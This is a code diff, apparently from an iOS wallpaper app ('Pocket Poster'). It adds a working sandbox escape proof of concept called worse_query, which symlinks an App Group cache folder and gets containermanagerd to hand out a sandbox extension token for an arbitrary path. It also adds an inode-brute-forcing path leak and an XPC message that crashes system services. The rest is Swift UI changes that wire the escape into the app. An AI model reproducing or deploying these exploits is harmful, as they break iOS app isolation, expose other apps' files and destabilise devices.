||||
|
||||
#endif /* bad_query_h */
|
||||
@@ -0,0 +1,33 @@
|
||||
//
|
||||
// pathleak.h
|
||||
// worse_query
|
||||
//
|
||||
// Created by Taj C on 9/2/26.
|
||||
//
|
||||
|
||||
/*
|
||||
pathleak - The dumbest arbitrary path enumeration.
|
||||
Copyright (C) 2026 Taj C (forcequit)
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#ifndef pathleak_h
|
||||
#define pathleak_h
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
NSArray<NSString *> *pathleak(NSString *filter, uint64_t max_inode);
|
||||
|
||||
#endif /* pathleak_h */
|
||||
@@ -0,0 +1,82 @@
|
||||
//
|
||||
// pathleak.m
|
||||
// worse_query
|
||||
//
|
||||
// Created by Taj C on 9/2/26.
|
||||
//
|
||||
|
||||
/*
|
||||
pathleak - The dumbest arbitrary path enumeration.
|
||||
Copyright (C) 2026 Taj C (forcequit)
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#include <sys/fsgetpath.h>
|
||||
#include <sys/mount.h>
|
||||
|
||||
// This is just a rewrite of bad_query_list to return an NSString array and run faster
|
||||
// The way this works is literally just brute-forcing inodes and doing fsgetpath until it gets a matching path, lol.
|
||||
// Which is still, obviously, dramatically faster than brute-forcing UUIDs.
|
||||
|
||||
// It might be possible to derive a sane inode value automagically by just creating a file, doing stat() on it, getting *that* file's inode, then using that for the max_inode count.
|
||||
|
||||
NSArray<NSString *> *pathleak(NSString *path, uint64_t max_inode) {
|
||||
// Sanity checks
|
||||
if (path.length == 0 || max_inode < 1) return nil;
|
||||
NSString *dir = path;
|
||||
while (dir.length > 1 && [dir hasSuffix: @"/"]) { // Trim trailing slash (if present)
|
||||
dir = [dir substringToIndex: dir.length - 1];
|
||||
}
|
||||
|
||||
// Set everything up
|
||||
struct statfs sfs;
|
||||
if (statfs(dir.fileSystemRepresentation, &sfs) != 0) {
|
||||
// Sandboxed apps may not be allowed to statfs an arbitrary container
|
||||
// root, but the volume is the same as /private/var.
|
||||
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) return nil;
|
||||
}
|
||||
fsid_t fsid = sfs.f_fsid;
|
||||
|
||||
char prefix[PATH_MAX];
|
||||
if (![dir getFileSystemRepresentation: prefix maxLength: sizeof(prefix)]) return nil;
|
||||
size_t prefix_length = strlen(prefix);
|
||||
if (prefix_length == 1 && prefix[0] == '/') prefix_length = 0;
|
||||
|
||||
NSFileManager *files = [NSFileManager defaultManager];
|
||||
NSMutableArray<NSString *> *result = [NSMutableArray array];
|
||||
char buffer[PATH_MAX];
|
||||
|
||||
// Brute-force inodes to their corresponding paths
|
||||
// I'd like to make this multithreaded at some point, but I don't think it'll help.
|
||||
for (uint64_t inode = 1; inode <= max_inode; inode++) {
|
||||
ssize_t n = fsgetpath(buffer, sizeof(buffer), &fsid, inode);
|
||||
if (n <= 0) continue;
|
||||
|
||||
// fsgetpath can return /private/var/... while callers pass /var/...
|
||||
const char *path = buffer;
|
||||
if (strncmp(path, "/private/var/", 13) == 0 && strncmp(prefix, "/var/", 5) == 0) {
|
||||
path += 8;
|
||||
}
|
||||
|
||||
if (strncmp(path, prefix, prefix_length) != 0) continue;
|
||||
if (path[prefix_length] != '/') continue;
|
||||
if (strchr(path + prefix_length + 1, '/')) continue;
|
||||
|
||||
NSString *string = [files stringWithFileSystemRepresentation: path length: strlen(path)];
|
||||
if (string) [result addObject: string];
|
||||
}
|
||||
return result;
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
//
|
||||
// worse_query.h
|
||||
// worse_query
|
||||
//
|
||||
// Created by Taj C on 8/20/26.
|
||||
//
|
||||
|
||||
/*
|
||||
worse_query - A sandbox escape PoC for iOS 26 and 27, again.
|
||||
Copyright (C) 2026 Taj C (forcequit)
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#ifndef worse_query_h
|
||||
#define worse_query_h
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
int64_t worse_query(NSString *path, NSString *group, bool alt_flags, bool create_dir);
|
||||
void worse_query_release(int64_t handle);
|
||||
|
||||
#endif /* worse_query_h */
|
||||
@@ -0,0 +1,148 @@
|
||||
//
|
||||
// worse_query.m
|
||||
// worse_query
|
||||
//
|
||||
// Created by Taj C on 8/20/26.
|
||||
//
|
||||
|
||||
/*
|
||||
worse_query - A sandbox escape PoC for iOS 26 and 27, again.
|
||||
Copyright (C) 2026 Taj C (forcequit)
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#include <dlfcn.h>
|
||||
#include <stdlib.h>
|
||||
#include <xpc/xpc.h>
|
||||
#include <sys/stat.h>
|
||||
#include "worse_query.h"
|
||||
|
||||
typedef void *(*container_query_create_fn)(void);
|
||||
typedef void (*container_query_set_class_fn)(void *, uint64_t);
|
||||
typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
|
||||
typedef void (*container_query_set_flags_fn)(void *, uint64_t);
|
||||
typedef void (*container_query_set_part_fn)(void *, uint64_t);
|
||||
typedef void *(*container_query_get_single_result_fn)(void *);
|
||||
typedef void (*container_query_free_fn)(void *);
|
||||
typedef char *(*container_copy_sandbox_token_fn)(void *);
|
||||
typedef int64_t (*sandbox_extension_consume_fn)(const char *);
|
||||
typedef int (*sandbox_extension_release_fn)(int64_t);
|
||||
|
||||
// Remove symlink and recreate Caches directory
|
||||
static void clean_symlink(NSString *group) {
|
||||
if (group != NULL) {
|
||||
NSFileManager *files = [NSFileManager defaultManager];
|
||||
NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group];
|
||||
if (groupRoot) {
|
||||
NSURL *caches = [groupRoot URLByAppendingPathComponent: @"Library/Caches"];
|
||||
[files removeItemAtURL: caches error: nil];
|
||||
[files createDirectoryAtURL: caches withIntermediateDirectories: false attributes: nil error: nil];
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// So, who's ready for round two?
|
||||
int64_t worse_query(NSString *target, NSString *group, bool alt_flags, bool create_dir) {
|
||||
// Check if the target exists
|
||||
if (!create_dir) {
|
||||
struct stat st;
|
||||
if (lstat(target.fileSystemRepresentation, &st) != 0) return -255; // Nothing exists at this path, and create_dir is false
|
||||
}
|
||||
|
||||
// Get the App Group's path
|
||||
// An App Group identifier you control is required for this
|
||||
NSFileManager *files = [NSFileManager defaultManager];
|
||||
NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group];
|
||||
if (!groupRoot) return -1; // App Group doesn't exist or we can't access it
|
||||
NSString *caches = [[groupRoot URLByAppendingPathComponent: @"Library/Caches"] path];
|
||||
|
||||
// Resolve functions
|
||||
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
|
||||
if (!mgr) return -2; // dlopen failed?
|
||||
|
||||
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
|
||||
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
|
||||
container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
|
||||
container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
|
||||
container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
|
||||
container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
|
||||
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
|
||||
container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
|
||||
sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
|
||||
if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
|
||||
dlclose(mgr);
|
||||
return -2; // Failed to resolve a function (unsupported OS)
|
||||
}
|
||||
|
||||
// Create query
|
||||
void *query = query_create();
|
||||
if (!query) {
|
||||
dlclose(mgr);
|
||||
return -3; // Failed to create query
|
||||
}
|
||||
|
||||
// Set up query
|
||||
xpc_object_t identifier;
|
||||
query_set_class(query, 7); // We're only using class 7 here (appGroup), which goes to containermanagerd
|
||||
identifier = xpc_string_create(group.UTF8String);
|
||||
query_set_group_identifiers(query, identifier);
|
||||
query_set_part(query, 3); // The query's part sets our base path, part 3 is Library/Caches
|
||||
if (alt_flags) {
|
||||
query_set_flags(query, 0x0000000800000000ULL); // Accessing App Group containers on iOS 26.x needs different flags, for whatever reason
|
||||
} else {
|
||||
query_set_flags(query, 0x0000008000000000ULL);
|
||||
}
|
||||
|
||||
// Set up symlink
|
||||
[files removeItemAtPath: caches error: nil];
|
||||
if ([files createSymbolicLinkAtPath: caches withDestinationPath: target error: nil] == false) {
|
||||
dlclose(mgr);
|
||||
return -4; // Failed to create symlink
|
||||
}
|
||||
|
||||
// Send our query over
|
||||
void *result = query_get_single_result(query);
|
||||
if (!result) {
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
clean_symlink(group);
|
||||
return -5; // Query rejected by containermanagerd
|
||||
}
|
||||
char *token = copy_sandbox_token(result);
|
||||
if (!token) {
|
||||
query_free(query);
|
||||
dlclose(mgr);
|
||||
clean_symlink(group);
|
||||
return -6; // Kernel refused to issue a sandbox extension
|
||||
}
|
||||
|
||||
// Consume sandbox extension and clean up
|
||||
int64_t handle = consume_extension(token);
|
||||
query_free(query);
|
||||
free(token);
|
||||
dlclose(mgr);
|
||||
clean_symlink(group);
|
||||
|
||||
return handle;
|
||||
}
|
||||
|
||||
// You should probably call this when you're done
|
||||
void worse_query_release(int64_t handle) {
|
||||
if (handle < 0) return;
|
||||
sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
|
||||
if (release_extension) release_extension(handle);
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
//
|
||||
// xpc_crash.c
|
||||
// Pocket Poster
|
||||
//
|
||||
// Ported from Cowabunga / TrollTools helpers.m
|
||||
// (xpc w00t technique: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html)
|
||||
//
|
||||
|
||||
#include "xpc_crash.h"
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach-o/dyld.h>
|
||||
|
||||
// bootstrap_look_up is in libsystem_kernel / libxpc but not always in public headers
|
||||
extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp);
|
||||
extern mach_port_t bootstrap_port;
|
||||
|
||||
struct xpc_w00t {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t client_port;
|
||||
mach_msg_port_descriptor_t reply_port;
|
||||
};
|
||||
|
||||
static mach_port_t get_send_once(mach_port_t recv) {
|
||||
mach_port_t so = MACH_PORT_NULL;
|
||||
mach_msg_type_name_t type = 0;
|
||||
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||
if (err != KERN_SUCCESS) {
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
return so;
|
||||
}
|
||||
|
||||
void xpc_crasher(char *service_name) {
|
||||
mach_port_t client_port = MACH_PORT_NULL;
|
||||
mach_port_t reply_port = MACH_PORT_NULL;
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("xpc_crasher: unable to look up %s\n", service_name);
|
||||
return;
|
||||
}
|
||||
if (service_port == MACH_PORT_NULL) {
|
||||
printf("xpc_crasher: bad service port for %s\n", service_name);
|
||||
return;
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
|
||||
mach_port_t so0 = get_send_once(client_port);
|
||||
mach_port_t so1 = get_send_once(client_port);
|
||||
|
||||
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (err != KERN_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
|
||||
struct xpc_w00t msg;
|
||||
memset(&msg.hdr, 0, sizeof(msg));
|
||||
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
msg.hdr.msgh_remote_port = service_port;
|
||||
msg.hdr.msgh_id = 'w00t';
|
||||
|
||||
msg.body.msgh_descriptor_count = 2;
|
||||
|
||||
msg.client_port.name = client_port;
|
||||
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
|
||||
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
msg.reply_port.name = reply_port;
|
||||
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
err = mach_msg(&msg.hdr,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
msg.hdr.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("xpc_crasher: w00t send failed for %s: %s\n", service_name, mach_error_string(err));
|
||||
} else {
|
||||
printf("xpc_crasher: sent w00t to %s\n", service_name);
|
||||
}
|
||||
|
||||
if (so0 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so0);
|
||||
if (so1 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so1);
|
||||
}
|
||||
|
||||
void restartBackboard(void) {
|
||||
xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer");
|
||||
}
|
||||
|
||||
void restartFrontboard(void) {
|
||||
// May not kill the calling app on some versions — caller should exit(0) after.
|
||||
xpc_crasher("com.apple.frontboard.systemappservices");
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
//
|
||||
// xpc_crash.h
|
||||
// Pocket Poster
|
||||
//
|
||||
// Userspace respring helpers (from Cowabunga / Project Zero xpc w00t).
|
||||
//
|
||||
|
||||
#ifndef xpc_crash_h
|
||||
#define xpc_crash_h
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
/// Crash an XPC service by name (triggers relaunch of the hosting process).
|
||||
void xpc_crasher(char *service_name);
|
||||
|
||||
/// Respring via crashing com.apple.backboard.TouchDeliveryPolicyServer
|
||||
void restartBackboard(void);
|
||||
|
||||
/// Respring via crashing com.apple.frontboard.systemappservices
|
||||
void restartFrontboard(void);
|
||||
|
||||
#endif /* xpc_crash_h */
|
||||
@@ -18,42 +18,70 @@ fileprivate let cancelString = NSLocalizedString("Cancel", comment: "")
|
||||
|
||||
extension UIApplication {
|
||||
|
||||
func dismissAlert(animated: Bool) {
|
||||
func dismissAlert(animated: Bool, completion: (() -> Void)? = nil) {
|
||||
DispatchQueue.main.async {
|
||||
lastDismissTitle = currentUIAlertController?.title
|
||||
currentUIAlertController?.dismiss(animated: animated)
|
||||
if let alert = currentUIAlertController {
|
||||
// Always clear pointer first so a follow-up present() won't chain on a dying VC
|
||||
currentUIAlertController = nil
|
||||
alert.dismiss(animated: animated) {
|
||||
completion?()
|
||||
}
|
||||
} else {
|
||||
// Also dismiss any orphaned presented alert
|
||||
if let top = Self.topViewController(), top is UIAlertController {
|
||||
top.dismiss(animated: animated) {
|
||||
completion?()
|
||||
}
|
||||
} else {
|
||||
completion?()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func alert(title: String = errorString, body: String, animated: Bool = true, withButton: Bool = true) {
|
||||
DispatchQueue.main.async {
|
||||
var body = body
|
||||
// Dismiss any existing alert first so we never stack a buttonless spinner under a new sheet
|
||||
dismissAlert(animated: false) {
|
||||
DispatchQueue.main.async {
|
||||
var body = body
|
||||
|
||||
if title == errorString {
|
||||
// append debug info
|
||||
let device = UIDevice.current
|
||||
let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? ""
|
||||
let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
|
||||
let systemVersion = device.systemVersion
|
||||
body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)"
|
||||
if title == errorString {
|
||||
// append debug info
|
||||
let device = UIDevice.current
|
||||
let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? ""
|
||||
let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
|
||||
let systemVersion = device.systemVersion
|
||||
body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)"
|
||||
}
|
||||
|
||||
let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
|
||||
// Always allow dismiss for non-progress alerts; progress uses withButton: false intentionally
|
||||
if withButton {
|
||||
controller.addAction(.init(title: okString, style: .cancel))
|
||||
}
|
||||
currentUIAlertController = controller
|
||||
self.present(alert: controller)
|
||||
}
|
||||
|
||||
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
|
||||
if withButton { currentUIAlertController?.addAction(.init(title: okString, style: .cancel)) }
|
||||
self.present(alert: currentUIAlertController!)
|
||||
}
|
||||
}
|
||||
|
||||
func confirmAlert(title: String = errorString, body: String, confirmTitle: String = okString, onOK: @escaping () -> (), noCancel: Bool) {
|
||||
DispatchQueue.main.async {
|
||||
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
|
||||
if !noCancel {
|
||||
currentUIAlertController?.addAction(.init(title: cancelString, style: .cancel))
|
||||
dismissAlert(animated: false) {
|
||||
DispatchQueue.main.async {
|
||||
let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
|
||||
if !noCancel {
|
||||
controller.addAction(.init(title: cancelString, style: .cancel))
|
||||
}
|
||||
controller.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
|
||||
onOK()
|
||||
}))
|
||||
currentUIAlertController = controller
|
||||
self.present(alert: controller)
|
||||
}
|
||||
currentUIAlertController?.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
|
||||
onOK()
|
||||
}))
|
||||
self.present(alert: currentUIAlertController!)
|
||||
}
|
||||
}
|
||||
|
||||
func change(title: String = errorString, body: String) {
|
||||
DispatchQueue.main.async {
|
||||
currentUIAlertController?.title = title
|
||||
@@ -61,14 +89,30 @@ extension UIApplication {
|
||||
}
|
||||
}
|
||||
|
||||
func present(alert: UIAlertController) {
|
||||
if let window = UIApplication.shared.connectedScenes.map({ $0 as? UIWindowScene }).compactMap({ $0 }).first?.windows.first, var topController = window.rootViewController {
|
||||
while let presentedViewController = topController.presentedViewController, presentedViewController.title != lastDismissTitle {
|
||||
topController = presentedViewController
|
||||
}
|
||||
|
||||
topController.present(alert, animated: true)
|
||||
// topController should now be your topmost view controller
|
||||
/// Top-most VC in the key window (skips being-dismissed alerts when possible).
|
||||
static func topViewController() -> UIViewController? {
|
||||
let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
|
||||
let window = scenes
|
||||
.flatMap { $0.windows }
|
||||
.first { $0.isKeyWindow } ?? scenes.first?.windows.first
|
||||
guard var top = window?.rootViewController else { return nil }
|
||||
while let presented = top.presentedViewController {
|
||||
// Prefer not to stop on a controller that is mid-dismiss
|
||||
if presented.isBeingDismissed { break }
|
||||
top = presented
|
||||
}
|
||||
return top
|
||||
}
|
||||
|
||||
func present(alert: UIAlertController) {
|
||||
guard let topController = Self.topViewController() else { return }
|
||||
// If top is already an alert being shown, replace it
|
||||
if let existing = topController as? UIAlertController {
|
||||
existing.dismiss(animated: false) {
|
||||
Self.topViewController()?.present(alert, animated: true)
|
||||
}
|
||||
return
|
||||
}
|
||||
topController.present(alert, animated: true)
|
||||
}
|
||||
}
|
||||
@@ -841,6 +841,9 @@
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"bad_query available — on-device detect works (no PC)." : {
|
||||
|
||||
},
|
||||
"Cancel" : {
|
||||
"localizations" : {
|
||||
@@ -2599,6 +2602,12 @@
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"Detect On-Device" : {
|
||||
|
||||
},
|
||||
"Detect via Nugget" : {
|
||||
|
||||
},
|
||||
"Disable Video Duration Limit" : {
|
||||
"localizations" : {
|
||||
@@ -4090,6 +4099,7 @@
|
||||
}
|
||||
},
|
||||
"Exploit" : {
|
||||
"extractionState" : "stale",
|
||||
"localizations" : {
|
||||
"ar" : {
|
||||
"stringUnit" : {
|
||||
@@ -4242,6 +4252,9 @@
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"Exploit (.Trash)" : {
|
||||
|
||||
},
|
||||
"Explore" : {
|
||||
"localizations" : {
|
||||
@@ -7306,6 +7319,9 @@
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"No hash set — will auto-detect via bad_query on Apply." : {
|
||||
|
||||
},
|
||||
"Nugget GitHub" : {
|
||||
"localizations" : {
|
||||
|
||||
@@ -84,5 +84,11 @@ struct Pocket_PosterApp: App {
|
||||
init() {
|
||||
// clear the videos cache
|
||||
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent("Videos", conformingTo: .directory))
|
||||
|
||||
if SelfTest.isEnabled {
|
||||
DispatchQueue.global(qos: .userInitiated).async {
|
||||
SelfTest.run()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -58,10 +58,15 @@ struct ContentView: View {
|
||||
}
|
||||
|
||||
Section {
|
||||
if pbHash == "" {
|
||||
if pbHash == "" && !SymHandler.prefersSandboxEscape {
|
||||
Text("Enter your PosterBoard app hash in Settings.")
|
||||
} else {
|
||||
VStack {
|
||||
if pbHash == "" && SymHandler.prefersSandboxEscape {
|
||||
Text("No hash set — will auto-detect via worse_query on Apply.")
|
||||
.font(.caption)
|
||||
.foregroundStyle(.secondary)
|
||||
}
|
||||
if !pbManager.selectedTendies.isEmpty || !pbManager.videos.isEmpty {
|
||||
Button(action: {
|
||||
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
||||
@@ -69,21 +74,23 @@ struct ContentView: View {
|
||||
|
||||
DispatchQueue.global(qos: .userInitiated).async {
|
||||
do {
|
||||
try pbManager.applyTendies(appHash: pbHash)
|
||||
var hash = pbHash
|
||||
if hash.isEmpty {
|
||||
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "Detecting PosterBoard container…")
|
||||
hash = try SandboxEscape.findPosterBoardHash()
|
||||
DispatchQueue.main.async { pbHash = hash }
|
||||
}
|
||||
try pbManager.applyTendies(appHash: hash)
|
||||
SymHandler.cleanup() // just to be extra sure
|
||||
try? FileManager.default.removeItem(at: pbManager.getTendiesStoreURL())
|
||||
UIApplication.shared.dismissAlert(animated: false)
|
||||
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
|
||||
|
||||
DispatchQueue.main.async {
|
||||
pbManager.selectedTendies.removeAll()
|
||||
pbManager.videos.removeAll()
|
||||
Haptic.shared.notify(.success)
|
||||
UIApplication.shared.confirmAlert(title: NSLocalizedString("Success!", comment: ""), body: NSLocalizedString("The PosterBoard app will now open. Please close it from the app switcher.", comment: ""), onOK: {
|
||||
if !pbManager.openPosterBoard() {
|
||||
UIApplication.shared.confirmAlert(title: NSLocalizedString("Falling Back to Shortcut", comment: ""), body: NSLocalizedString("PosterBoard failed to open directly. The fallback shortcut will now be opened.", comment: ""), onOK: {
|
||||
pbManager.runShortcut(named: "PosterBoard")
|
||||
}, noCancel: true)
|
||||
}
|
||||
}, noCancel: true)
|
||||
})
|
||||
// Instant Mond-style respring (no alert delay)
|
||||
RespringHelper.respring()
|
||||
}
|
||||
} catch CocoaError.fileWriteUnknown {
|
||||
presentError(ApplyError.wrongAppHash)
|
||||
} catch CocoaError.fileWriteFileExists {
|
||||
@@ -99,21 +106,41 @@ struct ContentView: View {
|
||||
.buttonStyle(TintedButton(color: .blue, fullwidth: true))
|
||||
}
|
||||
Button(action: {
|
||||
if #available(iOS 18.0, *) {
|
||||
guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else {
|
||||
hideResetHelp = false // fallback to tutorial
|
||||
return
|
||||
}
|
||||
UIApplication.shared.confirmAlert(title: NSLocalizedString("Reset Collections", comment: ""), body: NSLocalizedString("Do you want to reset collections?", comment: ""), onOK: {
|
||||
if pbManager.setSystemLanguage(to: lang) {
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Collections Successfully Reset!", comment: ""), body: NSLocalizedString("Your PosterBoard will refresh automatically.", comment: ""))
|
||||
} else {
|
||||
UIApplication.shared.alert(body: "The API failed to call correctly.\nSystem Locale Code: \(lang)")
|
||||
UIApplication.shared.confirmAlert(
|
||||
title: NSLocalizedString("Reset Collections", comment: ""),
|
||||
body: SymHandler.prefersSandboxEscape
|
||||
? "This will wipe custom PosterBoard descriptors via worse_query, then respring."
|
||||
: NSLocalizedString("Do you want to reset collections?", comment: ""),
|
||||
onOK: {
|
||||
UIApplication.shared.alert(
|
||||
title: "Resetting…",
|
||||
body: "Please wait",
|
||||
animated: true,
|
||||
withButton: false
|
||||
)
|
||||
DispatchQueue.global(qos: .userInitiated).async {
|
||||
do {
|
||||
var hash = pbHash
|
||||
if hash.isEmpty && SymHandler.prefersSandboxEscape {
|
||||
hash = try SandboxEscape.findPosterBoardHash()
|
||||
DispatchQueue.main.async { pbHash = hash }
|
||||
}
|
||||
guard !hash.isEmpty else {
|
||||
throw ApplyError.wrongAppHash
|
||||
}
|
||||
try pbManager.resetCollections(appHash: hash)
|
||||
DispatchQueue.main.async {
|
||||
Haptic.shared.notify(.success)
|
||||
// Instant Mond-style respring
|
||||
RespringHelper.respring()
|
||||
}
|
||||
} catch {
|
||||
presentError(ApplyError.unexpected(info: error.localizedDescription))
|
||||
}
|
||||
}
|
||||
}, noCancel: false)
|
||||
} else {
|
||||
hideResetHelp = false
|
||||
}
|
||||
},
|
||||
noCancel: false
|
||||
)
|
||||
}) {
|
||||
Label("Reset Collections", systemImage: "arrow.clockwise.circle")
|
||||
}
|
||||
@@ -171,11 +198,11 @@ struct ContentView: View {
|
||||
|
||||
func presentError(_ error: ApplyError) {
|
||||
SymHandler.cleanup()
|
||||
UIApplication.shared.dismissAlert(animated: false)
|
||||
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
|
||||
DispatchQueue.main.async {
|
||||
Haptic.shared.notify(.error)
|
||||
UIApplication.shared.alert(body: error.localizedDescription)
|
||||
})
|
||||
// alert() dismisses any buttonless progress sheet first, always with OK
|
||||
UIApplication.shared.alert(body: error.localizedDescription, withButton: true)
|
||||
}
|
||||
}
|
||||
|
||||
init() {
|
||||
|
||||
@@ -5,7 +5,7 @@
|
